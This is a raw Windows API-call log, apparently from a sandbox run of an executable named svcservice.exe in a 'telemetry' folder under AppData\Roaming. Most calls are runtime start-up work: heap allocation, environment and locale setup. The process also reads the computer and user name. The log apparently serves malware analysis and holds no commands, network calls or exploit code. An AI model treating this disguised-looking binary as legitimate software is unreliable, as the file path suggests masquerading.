[0127.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", cchWideChar=-1, lpMultiByteStr=0xcfb928, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", lpUsedDefaultChar=0x0) returned 63
[0127.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x47) returned 0x5bf228
[0127.453] RtlInitializeSListHead (in: ListHead=0xcfb3d0 | out: ListHead=0xcfb3d0)
[0127.453] GetLastError () returned 0x0
[0127.453] SetLastError (dwErrCode=0x0)
[0127.454] GetEnvironmentStringsW () returned 0x5cc680*
[0127.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1440
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5a0) returned 0x5c9d80
[0127.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x5c9d80, cbMultiByte=1440, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1440
[0127.454] FreeEnvironmentStringsW (penv=0x5cc680) returned 1
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x98) returned 0x5c20c8
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1f) returned 0x5bab10
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x5bfc58
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x37) returned 0x5c5860
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x5c2448
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5c54a0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x14) returned 0x5ba4c0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5c1c78
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5c58a0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x28) returned 0x5bf8b8
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd) returned 0x5ca9d0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1d) returned 0x5bacc8
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5c5aa0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x15) returned 0x5ccbd0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5ccc10
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe) returned 0x5cab20
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xa2) returned 0x5c2f68
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x5c2400
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5bab38
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1d) returned 0x5bae08
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x49) returned 0x5bf000
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5ccc70
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5ccad0
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5badb8
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5bf8e8
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5bfc90
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5bae58
[0127.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6b) returned 0x5c0230
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5ccd70
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xf) returned 0x5caa90
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x16) returned 0x5cccf0
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5bfd70
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5bfe88
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5ccaf0
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x21) returned 0x5ca3e0
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x16) returned 0x5ccb30
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x22) returned 0x5ca500
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5ccb50
[0127.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9d80 | out: hHeap=0x5b0000) returned 1
[0127.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5cce88
[0127.455] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0127.455] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcd0fb8) returned 0x0
[0127.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5bde58
[0127.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5bab88
[0127.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5b6cf8
[0127.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5bad18
[0127.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bab88 | out: hHeap=0x5b0000) returned 1
[0127.457] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x18f530 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0127.458] GetCurrentProcess () returned 0xffffffff
[0127.459] GetCurrentProcess () returned 0xffffffff
[0127.471] GetCurrentProcess () returned 0xffffffff
[0127.472] GetCurrentProcess () returned 0xffffffff
[0127.479] GetCurrentProcess () returned 0xffffffff
[0127.479] GetCurrentProcess () returned 0xffffffff
[0127.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdae8
[0127.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd6c0
[0127.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c28c8
[0127.480] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f42c, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0127.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c2910
[0127.480] GetComputerNameA (in: lpBuffer=0x18f634, nSize=0x18f428 | out: lpBuffer="XC64ZB", nSize=0x18f428) returned 1
[0127.481] GetUserNameA (in: lpBuffer=0x18f734, pcbBuffer=0x18f428 | out: lpBuffer="\x0f", pcbBuffer=0x18f428) returned 0
[0127.481] GetCurrentProcess () returned 0xffffffff
[0127.482] GetCurrentProcess () returned 0xffffffff
[0127.487] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="CompareStringEx") returned 0x769d6140
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="EnumSystemLocalesEx") returned 0x769e79d0
[0127.488] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="GetDateFormatEx") returned 0x76a334d0
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="GetLocaleInfoEx") returned 0x769c6610
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="GetTimeFormatEx") returned 0x76a337a0
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="GetUserDefaultLocaleName") returned 0x769bcd10
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="IsValidLocaleName") returned 0x769e4bf0
[0127.488] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.488] GetProcAddress (hModule=0x76920000, lpProcName="LCIDToLocaleName") returned 0x769d6fc0
[0127.489] GetProcAddress (hModule=0x76920000, lpProcName="LocaleNameToLCID") returned 0x769d7de0
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce440
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5bf278
[0127.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bf278 | out: hHeap=0x5b0000) returned 1
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5bf278
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5caa18
[0127.489] GetLastError () returned 0x7a
[0127.489] SetLastError (dwErrCode=0x7a)
[0127.489] GetLastError () returned 0x7a
[0127.489] SetLastError (dwErrCode=0x7a)
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c22b8
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cf6e0
[0127.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf6e0 | out: hHeap=0x5b0000) returned 1
[0127.489] GetLastError () returned 0x7a
[0127.489] SetLastError (dwErrCode=0x7a)
[0127.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5b5da0
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5c2378
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5bf0e8
[0127.490] GetLastError () returned 0x7a
[0127.490] SetLastError (dwErrCode=0x7a)
[0127.490] GetLastError () returned 0x7a
[0127.490] SetLastError (dwErrCode=0x7a)
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c8238
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cf6e0
[0127.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf6e0 | out: hHeap=0x5b0000) returned 1
[0127.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b5da0 | out: hHeap=0x5b0000) returned 1
[0127.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c22b8 | out: hHeap=0x5b0000) returned 1
[0127.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bf0e8 | out: hHeap=0x5b0000) returned 1
[0127.490] GetLastError () returned 0x7a
[0127.490] SetLastError (dwErrCode=0x7a)
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5b5da0
[0127.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5bf0e8
[0127.490] GetLastError () returned 0x7a
[0127.491] SetLastError (dwErrCode=0x7a)
[0127.491] GetLastError () returned 0x7a
[0127.491] SetLastError (dwErrCode=0x7a)
[0127.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5bdeb0
[0127.491] GetLastError () returned 0x7a
[0127.491] SetLastError (dwErrCode=0x7a)
[0127.491] GetLastError () returned 0x7a
[0127.491] SetLastError (dwErrCode=0x7a)
[0127.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c22b8
[0127.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cf6e0
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf6e0 | out: hHeap=0x5b0000) returned 1
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b5da0 | out: hHeap=0x5b0000) returned 1
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8238 | out: hHeap=0x5b0000) returned 1
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bdeb0 | out: hHeap=0x5b0000) returned 1
[0127.491] GetLastError () returned 0x7a
[0127.491] SetLastError (dwErrCode=0x7a)
[0127.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5b5da0
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bf0e8 | out: hHeap=0x5b0000) returned 1
[0127.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2378 | out: hHeap=0x5b0000) returned 1
[0127.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c2378
[0127.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ccbb0
[0127.492] GetLastError () returned 0x7a
[0127.492] SetLastError (dwErrCode=0x7a)
[0127.492] GetLastError () returned 0x7a
[0127.492] SetLastError (dwErrCode=0x7a)
[0127.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c8238
[0127.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cf6e0
[0127.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf6e0 | out: hHeap=0x5b0000) returned 1
[0127.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b5da0 | out: hHeap=0x5b0000) returned 1
[0127.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c22b8 | out: hHeap=0x5b0000) returned 1
[0127.492] GetLastError () returned 0x7a
[0127.492] SetLastError (dwErrCode=0x7a)
[0127.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5b5da0
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5bf0e8
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5bdeb0
[0127.493] GetLastError () returned 0x7a
[0127.493] SetLastError (dwErrCode=0x7a)
[0127.493] GetLastError () returned 0x7a
[0127.493] SetLastError (dwErrCode=0x7a)
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c22b8
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cf6e0
[0127.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf6e0 | out: hHeap=0x5b0000) returned 1
[0127.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b5da0 | out: hHeap=0x5b0000) returned 1
[0127.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8238 | out: hHeap=0x5b0000) returned 1
[0127.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bdeb0 | out: hHeap=0x5b0000) returned 1
[0127.493] GetLastError () returned 0x7a
[0127.493] SetLastError (dwErrCode=0x7a)
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5cf798
[0127.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5cf8d8
[0127.494] GetLastError () returned 0x7a
[0127.494] SetLastError (dwErrCode=0x7a)
[0127.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x200) returned 0x5cf8e8
[0127.494] GetLastError () returned 0x7a
[0127.494] SetLastError (dwErrCode=0x7a)
[0127.494] GetLastError () returned 0x7a
[0127.494] SetLastError (dwErrCode=0x7a)
[0127.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5cf708
[0127.494] GetLastError () returned 0x7a
[0127.494] SetLastError (dwErrCode=0x7a)
[0127.494] GetLastError () returned 0x7a
[0127.494] SetLastError (dwErrCode=0x7a)
[0127.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5c8238
[0127.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cfaf0
[0127.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfaf0 | out: hHeap=0x5b0000) returned 1
[0127.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf798 | out: hHeap=0x5b0000) returned 1
[0127.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c22b8 | out: hHeap=0x5b0000) returned 1
[0127.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf708 | out: hHeap=0x5b0000) returned 1
[0127.494] GetLastError () returned 0x7a
[0127.495] SetLastError (dwErrCode=0x7a)
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5cf768
[0127.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cf8d8 | out: hHeap=0x5b0000) returned 1
[0127.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bf0e8 | out: hHeap=0x5b0000) returned 1
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5cf8c8
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca530
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ccbf0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ccb10
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce670
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cabc8
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cda78
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce5a8
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ccc90
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca5c0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ccd30
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ccdf0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce4e0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ccdb0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ccdd0
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd928
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca680
[0127.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ccd50
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cce50
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce558
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cabf8
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdca8
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce5d0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cccb0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca620
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ccab0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cce10
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce490
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cccd0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cce30
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cda40
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca5f0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cca70
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cca50
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce620
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cac10
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdab0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce508
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc710
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca6b0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc930
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc9b0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce5f8
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc9f0
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc990
[0127.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdb20
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca4d0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc6f0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc9d0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce3c8
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cabb0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdb58
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce648
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cca90
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca470
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc7b0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc730
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce3f0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc850
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc7d0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cdbc8
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca560
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc6b0
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc750
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce4b8
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cac28
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cdb90
[0127.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce418
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc8f0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca3b0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cca10
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc770
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ce468
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc910
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc790
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5cd6f8
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5ca6e0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc970
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc6d0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce1e8
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5cab98
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd960
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5cdef0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc870
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca350
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5cd768
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5ce3a0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cc7f0
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5ca380
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc810
[0127.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cc830
